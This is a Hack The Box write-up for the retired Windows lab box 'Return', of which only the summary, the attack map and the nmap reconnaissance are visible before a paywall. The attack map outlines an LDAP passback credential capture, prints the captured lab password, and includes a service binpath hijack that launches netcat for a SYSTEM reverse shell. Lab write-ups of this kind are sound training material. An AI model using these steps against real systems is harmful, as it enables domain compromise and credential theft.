root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat return.md
// writeups

Return

27 Sep 2021 · 11 min read · root access
Return - maquina de Hack The Box

Executive summary — Return is an Easy Windows (Active Directory) box with two very real-world techniques: an «LDAP passback» — a printer's web panel lets you configure which LDAP server it authenticates against, so we point it at our own machine to capture its credentials in the clear — and then abuse of the Server Operators group to modify a system service and run code as SYSTEM. A printer panel → LDAP passback → WinRM → Server Operators → SYSTEM path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.26.164
Domainreturn.local

Attack map

[80] HTB Printer Admin Panel · /settings.php (LDAP config → printer.return.local)
   │  LDAP passback: point the LDAP server at OUR IP → capture credentials
   ▼
[CREDS]  return\svc-printer : 1edFg43012!!
   │  svc-printer ∈ BUILTIN\Remote Management Users (enables WinRM)
   ▼
[WINRM]  evil-winrm as svc-printer  (user.txt)
   │  svc-printer ∈ BUILTIN\Server Operators (can modify services)
   ▼
[SYSTEM]  sc config VSS binpath=...nc64.exe → sc start VSS → SYSTEM shell (root.txt)

1. Reconnaissance

We start with a full TCP port scan, without host discovery (we know it's alive) and without DNS resolution, to save time:

nmap -p- --min-rate 10000 -oA nmap-alltcp 10.129.26.164
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws

What matters: 53 (DNS) + 88 (Kerberos) + 389/636/3268/3269 (LDAP/LDAPS + Global Catalog) + 445 (SMB) is the classic signature of an Active Directory Domain Controller. With WinRM (5985) also open: if we get valid credentials, we log in remotely with Evil-WinRM without needing any other vulnerability.

We rescan just the discovered ports with version detection and default scripts, to confirm services and banners:

nmap -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oA nmap-services 10.129.26.164
80/tcp   open  http          Microsoft IIS httpd 10.0
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0

Port 80 serves a web app on IIS, 389 confirms AD LDAP, and 5985 confirms WinRM.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.